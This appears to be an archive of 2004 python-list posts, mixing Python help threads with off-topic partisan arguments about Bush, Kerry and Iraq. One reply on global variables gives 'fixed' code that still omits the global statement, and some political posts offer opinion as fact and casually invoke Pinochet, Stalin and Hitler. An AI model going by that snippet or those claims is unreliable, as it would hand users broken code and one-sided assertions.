In-Reply-To: <413F43AC.9D2088AF@yahoo.com>
References: <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com>
Message-ID: <chntno$ku1$1@grandcanyon.binc.net>


<Sorry for this off-topic post but I couldn't resist.>

CBFalconer wrote:

> 
> There is no need, nor cause, to impute Bush & Co. with
> intrinsically evil intentions.  It is quite enough to point to
> their lack of capability, and bull headed 'revenge for daddy'

You should consider investing some time in learning some civics. The 
president has no power to wage war without a *mandate* from congress. 
It's assinine to suggest that the administration could have tricked or 
lied it's way into a war in Iraq.  People like Sen. Byden (D) who are 
now considered experts with more than enough experience in overseeing 
our intelligence organization take the lead on criticizing the 
administration.  But Sen. Byden and the rest were briefed before they 
voted and they had the experience to make their own judgements.  They 
chose to effectively declare war on Iraq.

There's no question the legislative branch declared war and the 
administrative is prosecuting it.  The only question is how the 
politics plays out.

> propensities.  The state of the economy, unemployment, poverty
> rate, medical care, deficit,

Yes there are economic cycles and we've been in a bit of a trough for 
the past few years.  There's nothing the government, nor any 
administration, can do to significantly effect economic cycles.  If it 
can then the Clinton administration must have intentionally induced a 
downturn for political purposes.

> death rate in Iraq (both of Americans
> and Iraqis),

But noticebly not in Chicago, L.A or anywhere else in "the great evil".

> abandonment of the Bin Laden hunt,

Capturing of OBL would be counterproductive.  The problem won't go away 
if he's caught but many people will assume it did.

> abridgement of
> civil liberties (as in the Patriot Act and the Gitmo gulag),

Back to civics 101, laws are created by the legislature.  They also 
have the power to revoke them if a problem is demonstrated.  How many 
U.S. citizens have been victimized?  How many dead U.S. citizens does 
it take to justify that victimization?  Both numbers are quire small.

> poor
> choice of companions (Halliburton and other political donors and

That's just stupid.  I'm sure the families of those Halliburton 
employees who have died in Iraq and Afganistan would take issue with 
you on this.  Are you also leary of Clinton because his administration 
contracted the same Halliburton subsidiaries in the Balkan conflict?

> trough feeders, and the 'plausible deniability' of the Swiftboat
> gang), 

It would be astounding if there was no Veteran backlash in response to 
Kerry's activities and statements after he came back from Vietnam. You 
bring up Halliburton as if it were somehow on topic and then in the 
next phrase suggest that legitimate angst against Kerry's anti-war 
activies (with Kerry building his campaign on his Vietnam service) is 
somehow invalid. Strange thought process.


> irritation of allies,

It seems to me that from a geo-political perspective it would be a bad 
thing if 100% of non-Muslim/non-Arab/non-Middleeastern states followed 
the lead of the U.S. in a seemingly rash response to 9/11.  It seems 
like it would be much better if there was an overwhelming (as there 
was) response balanced by some strong dissention so that it didn't look 
like a world war.

> inability to deal with North Korea
> (due to involvement with useless adventures),

Patience grasshopper.  Just because CNN isn't "breaking news" on a 
daily basis doesn't mean nothing's being done.  North Korea is 
extremely fragile economically.  They're not in the position to demand 
they're just trying to barter.

> abandonment of
> efforts towards a Palestinian peace, all spring to immediate mind.

You might not have noticed but on 9/11 the stakes were raised by about 
an order of magnitude.  They went up significantly again this weekend 
in Beslan.  As long as there are terrorist activities in "Palestine" 
don't expect to see anyone giving ground.

> 
> Yes, we have had no experience with a Kerry administration, but we
> have had far too much experience with a Bush administration.
> 

We know...
	- Kerry voted to effectively declare war on Iraq and still stands by 
that vote, most of the time.  He only quibbles about the details.
	- Kerry has no more power to affect the economy than W.
	- Kerry's administration would continue to contract with Haliburton 
subsidiaries.  There's no reason not to, there's no other company who 
can do the jobs they contract to do.

-- ced


-- 
Chuck Dillon
Senior Software Engineer
NimbleGen Systems Inc.


From jfabiani at yolo.com  Wed Sep  8 14:19:26 2004
From: jfabiani at yolo.com (John Fabiani)
Date: Wed, 08 Sep 2004 18:19:26 GMT
Subject: Machine identification
References: <01f101c495cd$a786cc40$054b12ac@D18SYX41>
	<mailman.3050.1094666837.5135.python-list@python.org>
Message-ID: <O2I%c.17391$4D1.12711@newssvr27.news.prodigy.com>

Skip Montanaro wrote:

> 
>     Greg> How can I get the name (or ip) of the machine where my python
>     Greg> script is running?  I'd like to add it to my log entry.
> 
> % python2.3
> Python 2.3.4 (#1, Jul 19 2004, 16:02:09)
> [GCC 3.0.1] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
>>>> import socket
>>>> socket.gethostname()
> 'manatee.mojam.com'
>>>> socket.gethostbyname(socket.gethostname())
> '199.249.165.175'
> 
> Skip
The above does not work for me. 

socket.gethostbyname(socket.gethostname())
> '127.0.0.2'

the ip address is 192.168.1.211 for the computer. And 127.0.0.2 is not
localhost.  
John


From peter at engcorp.com  Fri Sep 17 08:36:48 2004
From: peter at engcorp.com (phansen)
Date: Fri, 17 Sep 2004 08:36:48 -0400
Subject: classes and standard modules
In-Reply-To: <cidfnt$nsj$1@solaris.cc.vt.edu>
References: <cidfnt$nsj$1@solaris.cc.vt.edu>
Message-ID: <B7adnbsrwsX8R9fcRVn-vg@powergate.ca>

Brad Tilley wrote:
> I don't understand classes very well... maybe some day. Is it just me or 
> are they supposed to be difficult to understand? They make my head hurt.

They're not really that hard.  Classes are nothing more than
_templates_ for blobs of data with associated functions.  When
you instantiate a class (i.e. create an instance) you just get
one of those blobs of data, matching the pattern defined by the
template.  You can call those associated functions and they
already know how to work on the data in the blob.

If you have a C background, think of classes as being structs with
a bunch of functions that are designed to work with those structs.

> Anyway, because I don't understand classes well, I avoid using them. 
> However, many modules in the standard library are implemented as 
> classes: sgmllib, HTMLParser, etc. Is it possible to use these modules 
> without getting into OO programming and inheritance and all the other 
> lofty, theoretical CS concepts that small script writers, like me, don't 
> really need?

Well, for any of those, you just create one of the blobs of data,
say like "server = smtplib.SMTP('myhost')", and now you have a blob
with the name "server".  You want to call one of those functions?
Instead of passing the data in the argument list as you do with
regular functions, you use the syntactic sugar form that looks like
this: "server.sendmail(...)".

This description needs you to know about blobs of data and functions,
neither of which are very lofty or theoretical, I think.  :)

-Peter


From tim.peters at gmail.com  Mon Sep  6 11:24:47 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Mon, 6 Sep 2004 11:24:47 -0400
Subject: doctest.Tester is deprecated
In-Reply-To: <4edc17eb.0409052338.69012ee7@posting.google.com>
References: <4edc17eb.0409052338.69012ee7@posting.google.com>
Message-ID: <1f7befae04090608243fb8de70@mail.gmail.com>

[Michele Simionato]
> Some time ago I hacked a custom solution to run doctests
> on text files containing documentation. The solution
> involved this kind of game:
>
> tester=doctest.Tester(globs={},verbose=1)
> tester.runstring(mytest)
>
> It worked fine, but now with Python 2.4.a3 I get
>
> DeprecationWarning: class Tester is deprecated; use class
> doctest.DocTestRunner instead
>
> The problem is that DocTestRunner is not a replacement for Tester, it
> has no runstring method!
>
> So, how what am I supposed to do?

In the worst case, I suppose you could copy the Tester implementation
from 2.4 and maintain it yourself,  In the meantime, Tester is still
there.

But I'd encourage you to think about better approaches.  Most people
are using unittest to *drive* their test strategies, because it's
simply a much better (than doctest) framework for stitching together
many tests of various kinds from various places.

So the total refactoring of doctest for 2.4 gave up on doctest's
feeble "stitch tests together" gimmicks, and focused instead on better
support for playing with unittest.  The latter is what the people who
*contribute* to doctest use, so that's what gets loving attention.

You didn't say enough to guess whether this is appropriate, but the
new-in-2.4 doctest.DocFileSuite() creates a unittest suite directly
from one or more paths to text files containing doctests.  For
example,

--- a.txt ---------------------------------------------------
This is a text file containing doctests.

>>> print 3*14
42
--- b.txt ---------------------------------------------------
And so is this.

>>> print 42
24
--- temp.py --------------------------------------------------
import doctest, unittest
suite = doctest.DocFileSuite('a.txt', 'b.txt')
unittest.TextTestRunner().run(suite)


That built a simple unittest driver from scratch.  It does the usual
unittest business of printing a dot for each test it runs (etc), and
displays the failure, identifying file path and line number in a
useful way (e.g., Emacs can parse the "File" line, and jump directly
to the failing example):

File "b.txt", line 3, in b.txt
Failed example:
    print 42
Expected:
    24
Got:
    42

Of course you get to exploit all the rest of unittest's features this way too.

If you want to roll your own and avoid unittest, you can stitch it
together out of the new DocTestRunner and DocTestParser classes. 
That's what Tester.runstring() does in 2.4.  Note that doctest no
longer makes any use of Tester -- it's there solely for backward
compatibility.

Unfortunately, a lot of new stuff isn't yet covered in the LaTeX docs.


From Barkmann at gmail.com  Tue Sep 21 02:21:03 2004
From: Barkmann at gmail.com (Chris Barker)
Date: 20 Sep 2004 23:21:03 -0700
Subject: Comparioson of purpose for PyGUI and AnyGUI ???
References: <a5415304.0409160644.41adea51@posting.google.com>	<cicqq7$kra$2@news-reader4.wanadoo.fr>	<cicsha$prl@odbk17.prod.google.com>	<cid5as$u3j$1@news-reader2.wanadoo.fr>	<cc887c1d.0409162041.1433bac1@posting.google.com>	<pan.2004.09.18.07.53.35.276252@virgilio.it>	<1gkb1xb.13ayfy1rayeymN%aleaxit@yahoo.com>	<slrnckoabl.mb3.mlh@furu.idi.ntnu.no>	<864d37090409180613135d02de@mail.gmail.com>	<20040920231839.GA17517@grulic.org.ar>
	<mailman.3618.1095731982.5135.python-list@python.org>
Message-ID: <cc887c1d.0409202221.214a46b5@posting.google.com>

Carlos Ribeiro <carribeiro at gmail.com> wrote in message 

> in this scenario the hassle of running
> Apache+Zope/Webware is just not worth it.

For what it's worth, there is a built-in server for Webware as well:

http://www.webwareforpython.org/Webware/WebKit/Docs/InstallGuide.html#built-in-web-server

There's also talk of a Twisted-Webware server, but I'm not sure
if/when that will materialize.

-Chris


From curzio.basso at unibas.ch  Tue Sep 28 07:41:19 2004
From: curzio.basso at unibas.ch (Curzio Basso)
Date: Tue, 28 Sep 2004 13:41:19 +0200
Subject: breaking up a list
In-Reply-To: <cjbggn$alv$1@ucsnew1.ncl.ac.uk>
References: <cjbggn$alv$1@ucsnew1.ncl.ac.uk>
Message-ID: <41594ddf$1@maser.urz.unibas.ch>

C Gillespie wrote:
> Dear All,
> 
> If I have a list, say
> 
> x=[1,2,3,4,5,6]
> 
> What's the best way of converting it into this: [[1, 2], [3, 4], [5, 6]],
> i.e. splitting it into pairs.

don't know if it's the best way but you can try this:

pairs = [x[2*i:2*i+2] for i in xrange(len(x)/2)]


From __peter__ at web.de  Wed Sep 15 05:38:01 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 15 Sep 2004 11:38:01 +0200
Subject: Align numbers at decimal point
References: <2qqe5vF11pk6jU1@uni-berlin.de>
Message-ID: <ci92hp$97u$07$1@news.t-online.com>

Enno Middelberg wrote:

> I want to print out columns of numbers which are aligned at the decimal
> point, eg:
> 
> 123.45
>    3.0
>   65.765486

One way to do it:

>>> def adjust(f, width, dec):
...     pos = f.find(".")
...     if pos == -1:
...             pos = len(f)
...     dec += 1
...     return "%*s%-*s" % (width-dec, f[:pos], dec, f[pos:])
...
>>> print "\n".join([repr(adjust("%s" % f, 10, 5)) for f in [1, 2.3456,
42.42]])
'   1      '
'   2.3456 '
'  42.42   '

Peter



From abra9823 at mail.usyd.edu.au  Sat Sep  4 23:06:49 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Sun,  5 Sep 2004 13:06:49 +1000
Subject: python from Java
Message-ID: <1094353609.413a82c919909@www-mail.usyd.edu.au>

hi!

can you call a Python application from a Java program? does this require
any additional package to be installed?

thanks

cheers





----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From firstname at lastname.pr1v.n0  Thu Sep  9 18:13:56 2004
From: firstname at lastname.pr1v.n0 (Morten Reistad)
Date: Fri, 10 Sep 2004 00:13:56 +0200
Subject: Xah Lee's Unixism
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<4140688e$0$6912$61fed72c@news.rcn.com>
	<flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com>
Message-ID: <4jkqhc.p7p1.ln@via.reistad.priv.no>

In article <4140A885.90B945AC at yahoo.com>,
CBFalconer  <cbfalconer at worldnet.att.net> wrote:
>Morten Reistad wrote:
>> 
>... snip ...
>> 
>> A lack of focus on world politics has been a characteristica of
>> the US presidents since Eisenhower. Bush is not special, he just
>> got the mess in his lap and had to deal with it; just as Nixon
>> inherited the Vietnam war.
>
>That is understandable considering the relative sizes of the US
>GDP and the rest of the world (until recently), the isolationist
>ethic between the wars, and such things as the world attitude that
>Spain was much more then the US could bite off in 1898.  Wilson,
>Roosevelt (both), Truman, Kennedy, Carter, Clinton, Nixon are
>among the counter-examples.  Even Reagan, while a sad example of
>domestic policy, did fairly well in the foreign affairs
>department.  Elephants do not need to pay too much attention to
>the surrounding fauna.

I do not agree. Kennedy and  Clinton had a lousy foreign-policy
record. The Bay of Pigs, Vietnam, the Cuba crisis were all 
examples of glorious miscalculations. Ditto Rwanda, Somalia, and
the 

Carter was not so bad; but remained unfocused; using all energy
withing the US. I still don't get why they didn't see the Iranian
blow-up. Everyone else did.  

Nixon is a special case; the way he inherited the Vietnam war, 
the Cold war and the way he messed up domestic policy. I think
he did all right, but no better, on a foreign policy front.

>However Bush is demonstrably poor.  He ignored the warnings from
>the CIA, FBI, outgoing Clinton administration about imminent
>attacks.  He was focused on attacking Saddam and Iraq from the
>first, and perverted 9/11 into that at the earliest opportunity. 
>He has offended many more than most of his predecessors.  I will
>say that he seems to have learned the names of some foreign
>leaders since being elected.

Bush has had an agenda all right; but I don't quite get what it is. 

If it is oil, then he is mishandling it big time; Iraqi oil is NOT
flowing. Iraq is a huge mess. Why was that guy Bremer chosen; his
qualifications does not make sense. 

You either have to make converts or do a Pinochet. (hit so hard
everyone is afraid they will NOT die.)

-- mrr


From martindemello at yahoo.com  Thu Sep  2 05:42:26 2004
From: martindemello at yahoo.com (Martin DeMello)
Date: Thu, 02 Sep 2004 09:42:26 GMT
Subject: need an idea, recognize sequence, fsm or genetic ?
References: <63b5e209.0409012321.5850291f@posting.google.com>
Message-ID: <6WBZc.302600$gE.226881@pd7tw3no>

Joh <joh12005 at yahoo.fr> wrote:
> 
> also i think this is related to some kind of finite state automata,
> but i do not know how to build automatically massive parallel FSM (i
> can have many many sequences and huge amount of sentences)

here's a naive but clean way to do it

Write a finite state machine class that scans the sentence for a single
sequence. Then instantiate one of them per sequence, and run the
following loop (pseudocode)

for word, index in enumerate sentence
  for fsm in sequences
    fsm.advance(word)
    if fsm.state == END
      results[fsm] += (index - fsm.sequence_length, index)
      fsm.state == START

A possible optimisation is to combine all your sequences into a single
trie; however, this will also require backtracking so I'm not sure how
much faster it'd be in practice.

martin


From ville at spammers.com  Mon Sep 13 02:39:00 2004
From: ville at spammers.com (Ville Vainio)
Date: 13 Sep 2004 09:39:00 +0300
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
Message-ID: <du73c1mk70b.fsf@mozart.cc.tut.fi>

>>>>> "Grant" == Grant Edwards <grante at visi.com> writes:

    Grant> shit about international agreements?  Bush thinks he's
    Grant> entitled to declare anybody and everybody an "enemy
    Grant> combatant" and lock them up in secret forever.  Add a
    Grant> moustache and he'd make a pretty good Stalin.

I'll raise you a Hitler, in a (probably vain) attempt to invoke the
Godwin's law.

-- 
Ville Vainio   http://tinyurl.com/2prnb


From velman at cox.net  Wed Sep 15 18:08:20 2004
From: velman at cox.net (John Velman)
Date: Wed, 15 Sep 2004 15:08:20 -0700
Subject: Incrementing a string
Message-ID: <pan.2004.09.15.22.08.19.894702@cox.net>

I've used perl for a lot of 'throw away' scripts;  I like Python better in
principle, from reading about it, but it was always easier to just use
perl rather than learn python.

Now I'm writing a smallish program that I expect to keep around, so am
taking this opportunity to try to learn some Python.  I have a need for
computer generated set of simple string lables.  I don't know how many in
advance---each is produced as a result of a user action.

In perl I simply initiated
 
   $label= "a";

Then, after using it doing

    $label++;

This conveniently steps through the alphabet, then goes on to aa, ab,ac,
...

In Python I can get from a to z with a generator as so:

>>> def gen_alph():
...     for i in range(97,123):
...         yield chr(i)
...
>>> g = gen_alph()
>>> g.next()
'a'
>>> g.next()
'b'
>>> g.next()
'c'

But it looks like going beyond z to aa and so on is (relatively) complicated.

In truth, it seems unlikely that I would ever go beyond z in using my
application, and certainly not beyond zz which wouldn't be too hard to
program.  But I hate to build in limitations no matter how reasonable.

It seems like there should be a better way that I'm missing because I'm
thinking in perl, not thinking in Python.  :-)

Best,

John Velman


From chrisks at NOSPAM.udel.edu  Sat Sep 18 20:07:25 2004
From: chrisks at NOSPAM.udel.edu (Chris S.)
Date: Sun, 19 Sep 2004 00:07:25 GMT
Subject: Newbie : Round shaped button for wxPython
In-Reply-To: <cig0t8$chh$1@news.Stanford.EDU>
References: <cig0t8$chh$1@news.Stanford.EDU>
Message-ID: <1543d.1728$4j1.396@trndny06>

Oh Kyu Yoon wrote:
> How do you make a round shaped button in wxPython?
> Thanks.

I believe all of wx's default buttons are rectangular, but you could 
emulate a circular button by using a bitmap of a round shape with a 
transparent background. Read about bitmapbutton in the the wx docs.


From carribeiro at gmail.com  Sun Sep 19 07:34:15 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Sun, 19 Sep 2004 08:34:15 -0300
Subject: So I guess PyUI is long abandonded? What else is there?
In-Reply-To: <20040918220714.GA12502@furrr.two14.net>
References: <cihu17$c4b$1@wheel2.two14.net>
	<864d3709040918140135a95917@mail.gmail.com>
	<20040918220714.GA12502@furrr.two14.net>
Message-ID: <864d370904091904347eecec2e@mail.gmail.com>

Martin,

As the other poster mentioned, the SDL-based renderer for PyUI may
help you. Please let us know if you made it work.

I share your pain -- I'm fighting a long battle to find a simple,
intuitive, productive and cross-platform GUI framework for my own
apps. In the end, I'll probably do with many others had done before me
-- end up writing my own framework as a shim layer over someone's else
work. I don't know the reason - if that's just because we can't agree
on a framework, or if it's because there are so many different ways
(and platforms) to make it work that some type of agreement, or
standardization, is just impossible at this point. But I hope the
situtation will improve.


On Sat, 18 Sep 2004 17:07:14 -0500, Martin Maney <maney at two14.net> wrote:
> On Sat, Sep 18, 2004 at 06:01:13PM -0300, Carlos Ribeiro wrote:
> > I've checked PyUI right now, and it seems that there is a release
> > numbered "1.0" - which is a sign that it must have reached a somewhat
> > stable stage. The win32 ZIP file that I've downloaded does not
> > contain any windows specific dll, pyd or exe file, but only pure
> > Python code.
> 
> Yes, as an already-installed tree with the files compiled - well, that
> explains the 1.0.Py2-2 versioning in the name.
> 
> Anyway, I've found the problem buried in a feature request at the
> project's sourceforge site.  In his own words:
> 
>   The OpenGL renderer on 0.95 depends on WGL which is available only on
>   Windows implementations. Support for other platforms such as Mac and
>   Linux would be nice.
> 
> Since the project description claims it, yeah, that sure would be nice.
> This perfectly explains the errors I've been seeing.  Thanks, Carlos,
> you stirred me to dig deeper and put the nail in it - it's another case
> of "Microsoft compatibility" leading another poor fool astray.
> 
> This truly does help.  Now I can stop wondering whether it was
> something I was doing wrong and walk away from this waste of time.
> Would some god-like person with access please make a note of this on
> the uneditable PyUi page on the wiki?  Then there'd be at least a
> chance others could avoid wasting their time.
> 
> Thanks!
> 
> --
> Microsoft, which used to say all the time that the software business
> was ruthlessly competitive, is now matched against a competitor whose
> model of production and distribution is so much better that Microsoft
> stands no chance of prevailing in the long run. They're simply trying
> to scare people out of dealing with a competitor they can't buy,
> can't intimidate and can't stop. -- Eben Moglen
> 
> 



-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From bokr at oz.net  Tue Sep 21 16:18:06 2004
From: bokr at oz.net (Bengt Richter)
Date: 21 Sep 2004 20:18:06 GMT
Subject: Floating-point glitches with the math module. Bug? Or am I
	missing something?
References: <pan.2004.09.20.22.13.05.488469@speakeasy.snip-me.net>
Message-ID: <ciq29u$qaq$0$216.39.172.122@theriver.com>

On Mon, 20 Sep 2004 18:13:06 -0400, Chris Metzler <cmetzler at speakeasy.snip-me.net> wrote:

>
>I'm getting some extremely odd results using the trig functions
>in the math module.  I don't know whether there's a bug here, or
>(more likely) I'm just missing something.  They kinda look like
>problems I'd see with truncation/roundoff errors, but they're
>occurring for larger values of the floating point exponent than
>I'd expect this to happen.
>
>The script below illustrates the kind of thing I'm seeing.  Do
>other people see the same thing?  Am I missing something here?
>
>Thanks,
>
>-c
>
>
>
>import math
>
>x = 0.90455926850657064620
>y = 0.90463240818925083619
>z = -2.00200807043415807129e-08
>
>
>cos_gamma1 = math.cos(x - y) - math.sin(x)*math.sin(y)*(1.0 - math.cos(z))
>gamma1 = math.acos(cos_gamma1)
>
As Tim has pointed out, you are doing an inverse in a very sensitive part of the
inverse function. Not only that, if you want the gamma angle, acos is ambiguous re sign,
since cos(x)=cos(-x). So IWT your best option would be to reformulate. Probably
in terms of cartesian components, which you resolve in such a way that you can
get the angles you want using atan2 as the inverse function. What do x, y, and z
represent in your real problem?

Regards,
Bengt Richter


From abkhd at earth.co.jp  Sat Sep 11 19:21:41 2004
From: abkhd at earth.co.jp (A. B., Khalid)
Date: 11 Sep 2004 16:21:41 -0700
Subject: Compiling Python24a3 in MinGW & tests
Message-ID: <8ad8ad0a.0409111521.5867fe0c@posting.google.com>

Hello all.


After the effort of getting most of Python 2.3.4 Final compiled in
MinGW (see: http://mail.python.org/pipermail/python-list/2004-June/225967.html,
and get the patch and read more about it here:
http://jove.prohosting.com/iwave/ipython/pyMinGW.html), allow me to
report that it is now also possible to compile and build most of
python24a3 in MinGW as well.

Few issues remain. For a detailed list of those visit
(http://jove.prohosting.com/iwave/ipython/issues.html). For now I just
want to mention that almost all tests of modules or code (as of CVS
Python source of Sept, 9th, 2004) that was compiled in MinGW pass or
skip quietly if invoked on their own.

However, and hoping that someone would know why, several module tests
fail (and crash the MinGW compiled python24a3: Windows bluescreen
shows) when run from the regrtest framework. These include:

  - test_codeccallbacks,
  - test_codecs,
  - test_normalization,
  - test_pyexpat,
  - test_re,
  - test_minidom,
  - test_stringprep,
  - test_ucn,
  - test_unicode
  - test_unicode_file, and
  - test_unicodedata


Some modules are also causing MinGW python24a3 to show the dreaded
Windows' bluescreen. These include:
  - zlib
  - _testcapi
  - pyexpat, but only when used by test_sax inside the regrtest.


+---------------------------------------------------------------+
My system:
+---------------------------------------------------------------+
 + Win98
 + GCC 3.4.1 mingw special
 + DEV-C++ v. 4.9.8.5
 + MYSYS v. 1.0.9


With that in mind, I am unable to test module _socket, as Windows 98
does not support some of the new API calls of the latest python:
getaddrinfo, and friends. However, I have a feeling that the patched
module will work if compiled in MinGW under anything higher than
WinMe.



+---------------------------------------------------------------+
For file sizes, here is the list:
+---------------------------------------------------------------+
PYTHON   EXE         6.656  09/09/04   3:53 python.exe
PYTHONW  EXE         6.656  09/09/04   3:53 pythonw.exe
W9XPOPEN EXE         6.144  09/09/04   3:51 w9xpopen.exe
PYTHON24 DLL     2.046.464  09/09/04   3:49 python24.dll



+---------------------------------------------------------------+
Running python24a3 from MSYS:
+---------------------------------------------------------------+
$ python -i
Python 2.4a3 (#56, Sep  9 2004, 03:39:46)
[GCC 3.4.1 (mingw special)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> from test import test_unicode_file as t
>>> t.test_main()
test_directories (test.test_unicode_file.TestUnicodeFiles) ... ok
test_equivalent_files (test.test_unicode_file.TestUnicodeFiles) ... ok
test_single_files (test.test_unicode_file.TestUnicodeFiles) ... ok

----------------------------------------------------------------------
Ran 3 tests in 0.870s

OK
>>>


+---------------------------------------------------------------+
Summary of regrtest.main() output after renaming the
tests listed above and renaming _socket.pyd, pyexpat.pyd,
zlib.pyd, and _testcapi so as python cannot find them:
+---------------------------------------------------------------+
200 tests OK.
5 tests failed:
    test___all__ test_cookielib test_mailbox test_mimetools
    test_pyclbr
72 tests skipped:
    test__locale test_aepack test_al test_applesingle test_asynchat
    test_bsddb test_bsddb185 test_bsddb3 test_capi test_cd test_cgi
    test_cl test_codecmaps_cn test_codecmaps_hk test_codecmaps_jp
    test_codecmaps_kr test_codecmaps_tw test_commands test_crypt
    test_curses test_dbm test_dl test_email test_email_codecs
    test_exceptions test_fcntl test_fork1 test_gdbm test_getargs2
    test_gl test_grp test_gzip test_httplib test_imaplib test_imgfile
    test_ioctl test_largefile test_linuxaudiodev test_logging
    test_macfs test_macostools test_mhlib test_mimetypes test_nis
    test_openpty test_ossaudiodev test_pep277 test_plistlib test_poll
    test_posix test_pty test_pwd test_resource test_robotparser
    test_sax test_scriptpackages test_signal test_socket
    test_socket_ssl test_socketserver test_sunaudiodev test_sundry
    test_tcl test_threadsignals test_timeout test_timing test_urllib
    test_urllib2 test_urllib2net test_urllibnet test_zipimport
    test_zlib
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File
"F:\PROGRAMS\MISC\BIN\PY24\PYTHON\DIST\SRC\lib\test\regrtest.py", line
363, in main
    e = _ExpectedSkips()
  File
"F:\PROGRAMS\MISC\BIN\PY24\PYTHON\DIST\SRC\lib\test\regrtest.py", line
1064, in __init__
    from test import test_normalization
ImportError: cannot import name test_normalization
>>> raise SystemExit



And BTW, distutils was also patched to default to using the MinGW
compiler for building extensions when it detects that the python it is
running on was compiled in MinGW. It basically looks for the
sys.version info, and if it finds the string "mingw" it configures the
MinGW compiler for use.


Finally, this is provided in the hope that some people will benefit
from it, and that some will actually help improve the pyMinGW patch so
as using the MinGW compiler would get to be as easy as using any
other. Any thoughts are welcome.


Regards
Khalid



--
Q. The purpose of life?

[A]: "I created the jinn and humankind only that they might
     worship Me." (Translation, Qur'an, 51:56)

[B]: "Let us hear the conclusion of the whole matter:
     Fear God, and keep his commandments: for this is the
     whole duty of man." (KJV, Ecclesiastes 12:13)


From paul.baines at ecb.int  Fri Sep 17 05:28:22 2004
From: paul.baines at ecb.int (paul.baines at ecb.int)
Date: Fri, 17 Sep 2004 11:28:22 +0200
Subject: Installation problem in AIX
Message-ID: <71CEC1FA9395784A826B525D0E1AB215039015@cimexc21.ecb01.ecb.de>

Hello,

I'm trying to install Python 2.3.4 in AIX 5.2 with gcc 2.9. After a lot
of messing around I got the configure script to run using the following
command (libm parameter found from python-list archives):

configure --with-gcc --with-cxx=g++ --with-libm="" --disable-ipv6

Now I have a problem running make:

        ./Modules/makexp_aix Modules/python.exp . libpython2.3.a;  gcc
-Wl,-bE:Modules/python.exp -lld -o python  Modules/ccpython.o
libpython2.3.a      
collect2: /lib/libld.a: not a COFF file
make: 1254-004 The error code from the last command is 1.

I had the same "not a COFF file" error during configure with libm.a
until I added the --with-libm="" parameter.

Can anyone help?

Paul.



Any e-mail message from the European Central Bank (ECB) is sent in good faith but shall neither be binding nor construed as constituting a commitment by the ECB except where provided for in a written agreement.
This e-mail is intended only for the use of the recipient(s) named above. Any unauthorised disclosure, use or dissemination, either in whole or in part, is prohibited.
If you have received this e-mail in error, please notify the sender immediately via e-mail and delete this e-mail from your system.




From miki.tebeka at zoran.com  Sun Sep  5 12:21:48 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: Sun, 5 Sep 2004 18:21:48 +0200
Subject: Trouble accessing global vars
In-Reply-To: <sonjj0d6b7fsafjnphqcdqrm0ia59qt8ti@4ax.com>
References: <sonjj0d6b7fsafjnphqcdqrm0ia59qt8ti@4ax.com>
Message-ID: <20040905162148.GE2220@zoran.com>

Hello Fernando,

> counter = 0
> 
> class Blah(object):
> 	def run(self):
> 		counter += 1
> 
> b = Blah()
> b.run()
> 
> Traceback (most recent call last):
>   File "<pyshell#53>", line 1, in -toplevel-
>     b.run()
>   File "<pyshell#51>", line 3, in run
>     counter += 1
> UnboundLocalError: local variable 'counter' referenced before assignment
You need to declare it global using the "global" keyword.

counter = 0
 
class Blah(object):
    def run(self):
        counter += 1
 
b = Blah()
b.run()

Bye.
--
------------------------------------------------------------------------
Miki Tebeka <miki.tebeka at zoran.com>
http://tebeka.spymac.net
The only difference between children and adults is the price of the toys


From http  Thu Sep 16 15:59:46 2004
From: http (Paul Rubin)
Date: 16 Sep 2004 12:59:46 -0700
Subject: MD5 and SHA cracked/broken...
References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no>
	<slrncka03t.2a1q.kirk@eyegor.jobsluder.net>
	<7xacvuyjfn.fsf@ruckus.brouhaha.com> <ud60mb64c.fsf@fitlinxx.com>
Message-ID: <7xoek6rnm5.fsf@ruckus.brouhaha.com>

David Bolen <db3l at fitlinxx.com> writes:
> But why bother?  Clearly in this case I'm in control of the md5sum's
> publication (since I'm formulating both files to match), so why
> wouldn't I just publish the trojan one in the first place with an MD5
> that matches the trojan?  Any user of my package is already trusting
> that any MD5 I publish is in fact for a proper file, so they are in
> effect already trusting me.

No.  They may not trust you, but they might instead trust another user
who studied the file very carefully, and then announced that the file
with md5 checksum so-and-so was ok.  At that point you can slip in a
different file with the same checksum, that didn't get examined so
carefully.


From gwschenk at fuzz.socal.rr.com  Fri Sep  3 18:58:35 2004
